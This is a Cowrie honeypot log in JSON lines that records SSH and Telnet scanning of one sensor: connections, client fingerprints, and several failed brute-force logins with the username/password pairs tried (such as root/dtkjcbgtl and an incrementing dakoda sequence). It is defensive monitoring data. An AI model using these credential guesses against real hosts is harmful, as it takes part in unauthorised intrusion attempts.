{"eventid":"cowrie.login.failed","username":"root","password":"dtkjcbgtl","message":"login attempt [root/dtkjcbgtl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:51.295965Z","src_ip":"147.45.199.80","session":"5f5d1644484c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53088,"dst_ip":"10.17.0.5","dst_port":23,"session":"021592b9430d","protocol":"telnet","message":"New connection: 192.119.13.58:53088 (10.17.0.5:23) [session: 021592b9430d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:52.264795Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:52.398068Z","src_ip":"147.45.199.80","session":"5f5d1644484c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.966710329055786,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:53.752197Z","src_ip":"192.119.13.58","session":"27a17f0e7bee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.26073884963989,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:56.118334Z","src_ip":"192.119.13.58","session":"7b1623970344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.87160277366638,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:07:59.507593Z","src_ip":"192.119.13.58","session":"bff5285f5e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36168,"dst_ip":"10.17.0.5","dst_port":22,"session":"63f319ca6d10","protocol":"ssh","message":"New connection: 80.94.92.184:36168 (10.17.0.5:22) [session: 63f319ca6d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:01.258204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:01.389030Z","src_ip":"80.94.92.184","session":"63f319ca6d10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:01.405553Z","src_ip":"80.94.92.184","session":"63f319ca6d10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.55484437942505,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:01.517562Z","src_ip":"192.119.13.58","session":"fd7283fe9343","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:02.132224Z","src_ip":"80.94.92.184","session":"63f319ca6d10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37968,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4d82aae14d0","protocol":"telnet","message":"New connection: 192.119.13.58:37968 (10.17.0.5:23) [session: c4d82aae14d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:02.564050Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:03.350289Z","src_ip":"80.94.92.184","session":"63f319ca6d10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.13721704483032,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:07.327050Z","src_ip":"192.119.13.58","session":"6ada4dd54d55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4450900554657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:08.325972Z","src_ip":"192.119.13.58","session":"7c4a92be949c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.87334418296814,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:09.626894Z","src_ip":"192.119.13.58","session":"e97ae9f20070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39096,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1e289e46dc8","protocol":"telnet","message":"New connection: 192.119.13.58:39096 (10.17.0.5:23) [session: f1e289e46dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:10.055217Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48844,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec001e43fe1b","protocol":"telnet","message":"New connection: 192.119.13.58:48844 (10.17.0.5:23) [session: ec001e43fe1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:12.444049Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":38610,"dst_ip":"10.17.0.5","dst_port":22,"session":"892c984b68c7","protocol":"ssh","message":"New connection: 94.159.98.239:38610 (10.17.0.5:22) [session: 892c984b68c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:13.356921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:13.543742Z","src_ip":"94.159.98.239","session":"892c984b68c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:13.550919Z","src_ip":"94.159.98.239","session":"892c984b68c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y7","message":"login attempt [root/1q2w3e4r5t6y7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:14.659388Z","src_ip":"94.159.98.239","session":"892c984b68c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:15.867882Z","src_ip":"94.159.98.239","session":"892c984b68c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39704,"dst_ip":"10.17.0.5","dst_port":23,"session":"c639336ec912","protocol":"telnet","message":"New connection: 192.119.13.58:39704 (10.17.0.5:23) [session: c639336ec912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:17.145968Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43154,"dst_ip":"10.17.0.5","dst_port":23,"session":"066e1c0c46f8","protocol":"telnet","message":"New connection: 192.119.13.58:43154 (10.17.0.5:23) [session: 066e1c0c46f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:17.961885Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44558,"dst_ip":"10.17.0.5","dst_port":23,"session":"d685b7713fd9","protocol":"telnet","message":"New connection: 192.119.13.58:44558 (10.17.0.5:23) [session: d685b7713fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:18.315693Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48982,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f87e55e6503","protocol":"telnet","message":"New connection: 192.119.13.58:48982 (10.17.0.5:23) [session: 2f87e55e6503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:19.369765Z"}
{"eventid":"cowrie.session.closed","duration":40.88656973838806,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:20.704674Z","src_ip":"192.119.13.58","session":"bdf2a7b0f9d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36014,"dst_ip":"10.17.0.5","dst_port":23,"session":"612bdda7269b","protocol":"telnet","message":"New connection: 192.119.13.58:36014 (10.17.0.5:23) [session: 612bdda7269b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:23.375631Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51146,"dst_ip":"10.17.0.5","dst_port":23,"session":"c95ba0940ca0","protocol":"telnet","message":"New connection: 192.119.13.58:51146 (10.17.0.5:23) [session: c95ba0940ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:27.231028Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":53417,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5406bfddead","protocol":"ssh","message":"New connection: 213.209.159.56:53417 (159.203.135.109:22) [session: a5406bfddead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:29.875384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:29.884860Z","src_ip":"213.209.159.56","session":"a5406bfddead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:29.967190Z","src_ip":"213.209.159.56","session":"a5406bfddead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dakoda","password":"dakoda","message":"login attempt [dakoda/dakoda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:30.375309Z","src_ip":"213.209.159.56","session":"a5406bfddead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dakoda","password":"dakoda1","message":"login attempt [dakoda/dakoda1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:31.461199Z","src_ip":"213.209.159.56","session":"a5406bfddead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dakoda","password":"dakoda123","message":"login attempt [dakoda/dakoda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:32.547027Z","src_ip":"213.209.159.56","session":"a5406bfddead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.92329001426697,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:33.187960Z","src_ip":"192.119.13.58","session":"021592b9430d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dakoda","password":"dakoda1234","message":"login attempt [dakoda/dakoda1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:33.631088Z","src_ip":"213.209.159.56","session":"a5406bfddead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49024,"dst_ip":"10.17.0.5","dst_port":23,"session":"c05f24e88b67","protocol":"telnet","message":"New connection: 192.119.13.58:49024 (10.17.0.5:23) [session: c05f24e88b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:34.022437Z"}
{"eventid":"cowrie.login.failed","username":"dakoda","password":"dakoda12345","message":"login attempt [dakoda/dakoda12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:34.716742Z","src_ip":"213.209.159.56","session":"a5406bfddead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:35.806854Z","src_ip":"213.209.159.56","session":"a5406bfddead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52088,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b22808af0af","protocol":"telnet","message":"New connection: 192.119.13.58:52088 (10.17.0.5:23) [session: 7b22808af0af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:41.850013Z"}
{"eventid":"cowrie.session.closed","duration":40.48284697532654,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:43.046773Z","src_ip":"192.119.13.58","session":"c4d82aae14d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39878,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a3fc8738722","protocol":"telnet","message":"New connection: 192.119.13.58:39878 (10.17.0.5:23) [session: 0a3fc8738722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:46.171417Z"}
{"eventid":"cowrie.session.closed","duration":31.906169891357422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:50.221750Z","src_ip":"192.119.13.58","session":"d685b7713fd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39770,"dst_ip":"10.17.0.5","dst_port":23,"session":"3651f4d4c56e","protocol":"telnet","message":"New connection: 192.119.13.58:39770 (10.17.0.5:23) [session: 3651f4d4c56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:53.187322Z"}
{"eventid":"cowrie.session.closed","duration":41.809234380722046,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:54.253195Z","src_ip":"192.119.13.58","session":"ec001e43fe1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.34147620201111,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:55.396600Z","src_ip":"192.119.13.58","session":"f1e289e46dc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.675591707229614,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:08:57.045232Z","src_ip":"192.119.13.58","session":"2f87e55e6503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.40544056892395,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:01.780966Z","src_ip":"192.119.13.58","session":"612bdda7269b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.83674240112305,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:05.798501Z","src_ip":"192.119.13.58","session":"066e1c0c46f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.746978759765625,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:06.892846Z","src_ip":"192.119.13.58","session":"c639336ec912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45334,"dst_ip":"10.17.0.5","dst_port":23,"session":"a85da64933d6","protocol":"telnet","message":"New connection: 192.119.13.58:45334 (10.17.0.5:23) [session: a85da64933d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:08.435380Z"}
{"eventid":"cowrie.session.closed","duration":42.54226613044739,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:09.773192Z","src_ip":"192.119.13.58","session":"c95ba0940ca0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36018,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5705d03bab4","protocol":"telnet","message":"New connection: 192.119.13.58:36018 (10.17.0.5:23) [session: f5705d03bab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:13.321940Z"}
{"eventid":"cowrie.session.closed","duration":0.0061109066009521484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:13.327904Z","src_ip":"192.119.13.58","session":"f5705d03bab4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40394,"dst_ip":"10.17.0.5","dst_port":23,"session":"98b6fa5c82be","protocol":"telnet","message":"New connection: 192.119.13.58:40394 (10.17.0.5:23) [session: 98b6fa5c82be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:14.337462Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40888,"dst_ip":"10.17.0.5","dst_port":23,"session":"b60d63e5d3a1","protocol":"telnet","message":"New connection: 192.119.13.58:40888 (10.17.0.5:23) [session: b60d63e5d3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:14.463638Z"}
{"eventid":"cowrie.session.closed","duration":41.891958475112915,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:15.914266Z","src_ip":"192.119.13.58","session":"c05f24e88b67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.130.103","src_port":38964,"dst_ip":"10.17.0.5","dst_port":22,"session":"95437406af63","protocol":"ssh","message":"New connection: 36.133.130.103:38964 (10.17.0.5:22) [session: 95437406af63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:16.077971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:16.092461Z","src_ip":"36.133.130.103","session":"95437406af63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03420fcc0e3db1d60e4b17d46170e1f1","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-256-etm@openssh.com;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-256-etm@openssh.com"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03420fcc0e3db1d60e4b17d46170e1f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:16.368761Z","src_ip":"36.133.130.103","session":"95437406af63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"12345","message":"login attempt [debian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:17.446500Z","src_ip":"36.133.130.103","session":"95437406af63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:09:18.731364Z","src_ip":"36.133.130.103","session":"95437406af63","protocol":"ssh"}
